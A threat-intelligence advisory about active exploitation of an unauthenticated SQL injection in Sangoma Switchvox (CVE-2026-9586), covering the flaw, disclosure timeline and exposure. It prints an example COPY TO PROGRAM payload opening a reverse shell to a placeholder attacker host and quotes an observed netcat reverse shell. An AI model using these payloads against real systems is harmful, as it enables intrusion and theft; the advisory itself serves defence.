Active Exploitation of Sangoma Switchvox Unauthenticated SQL Injection (CVE-2026-9586) Deploying Reverse Shells — Threadlinqs Intelligence
As of 2026-09-02, Active Exploitation of Sangoma Switchvox Unauthenticated SQL Injection (CVE-2026-9586) Deploying Reverse Shells is a critical-severity vulnerability threat, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 7 indicators of compromise.
Threat ID: TL-2026-2300 · Severity: CRITICAL · CVSS: 9.8 · Status: ACTIVE · Category: VULNERABILITY
Attackers are actively exploiting CVE-2026-9586, an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that reaches remote code execution via PostgreSQL's COPY TO PROGRAM function.
CVE-2026-9586 is an unauthenticated SQL injection vulnerability in Sangoma Switchvox SMB Edition (versions prior to 8.4.0.2, confirmed on build 104997). The flaw lives in PhoneAppsHandler.pm's handling of the /pa HTTP endpoint, which receives XML phone-provisioning messages containing <PolycomIPPhone> tags. The handler parses the XML with XML::Simple::XMLin() and extracts the PhoneIP field, then concatenates it, unsanitized and unparameterized, directly into a PostgreSQL query string (CWE-89). Because the query runs in a PostgreSQL superuser context, an attacker can escalate the injection into full remote code execution using PostgreSQL's COPY TO PROGRAM functionality — e.g. COPY (SELECT '') TO PROGRAM 'nc <attacker_ip> <port> -e /bin/bash'-- — to spawn a reverse shell with no authentication and a single crafted HTTP request.
Horizon3 (working with Security Risk Advisors, who reported related issues independently) disclosed 12 distinct Switchvox vulnerabilities to Sangoma on April 10, 2026; Sangoma validated a pre-release fix on April 21 and shipped the public patch (8.4.0.2) on July 14, 2026. Horizon3 and Defused Cyber had honeypots live from May 8, 2026 onward, and on August 30, 2026 those honeypots recorded live exploitation: a single source IP, 176.65.148.184, hit multiple honeypots in rapid succession, dropping reverse shells (nc <ip> <port> | sh), then running base64-encoded curl commands that piped `top` output back to a remote server to enumerate running processes. The Hacker News additionally reported that successful exploitation let attackers extract database contents, modify user records, and exfiltrate cookie-signing keys to forge authentication credentials on the compromised instances. By the time of public disclosure (Horizon3 blog September 1, 2026; CISA KEV addition and mainstream press coverage September 2, 2026), Help Net Security reported the picture had broadened: dozens of additional source IPs were exploiting the honeypots, ranging from simple scanning to second-stage malware that initially resembled cryptominers, indicating opportunistic, financially-motivated mass exploitation rather than a single actor's campaign.
Around 4,000 Switchvox instances are visible on Shodan as internet-exposed, the large majority in the United States, giving attackers a wide, largely unpatched target set roughly seven weeks after the fix shipped. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02 with a 2026-09-05 remediation due date under BOD 26-04.
Target sectors: telecoms, cross-sector
Target regions: united states of america
Timeline
- Horizon3 reports 12 distinct Switchvox vulnerabilities, including what would become CVE-2026-9586, to Sangoma; Sangoma acknowledges receipt the same day.
- Sangoma provides Horizon3 a pre-release patch for validation.
- Horizon3 and Defused Cyber deploy internet-facing Switchvox honeypots to monitor for exploitation attempts.
- Security Risk Advisors (SRA) independently reports related Switchvox issues to Sangoma.
- Sangoma publicly releases Switchvox 8.4.0.2, fixing CVE-2026-9586 by parameterizing the /pa endpoint's PhoneIP handling.
- Security Risk Advisors publishes its own independent advisory on the vulnerability.
- Honeypots record live in-the-wild exploitation from source IP 176.65.148.184, deploying reverse shells and enumerating processes across multiple systems in rapid succession.
- Horizon3 publishes its technical disclosure blog on CVE-2026-9586, including the SQL injection and COPY TO PROGRAM RCE mechanics.
- CISA adds CVE-2026-9586 to the Known Exploited Vulnerabilities catalog with a 2026-09-05 remediation due date under BOD 26-04.
- Help Net Security reports dozens of additional source IPs now exploiting the flaw, including simple scanning and second-stage malware initially resembling cryptominers.
- BleepingComputer and The Hacker News report the active exploitation campaign, including cookie-signing-key exfiltration used to forge authentication.
Detections & IOCs
As of 2026-09-03, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 7 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, CRITICAL, threat intelligence, cybersecurity, CVE-2026-9586, T1595.002, T1190, T1059.004, T1027, T1552, T1606.001, T1057, T1095, T1071.001, T1565.001
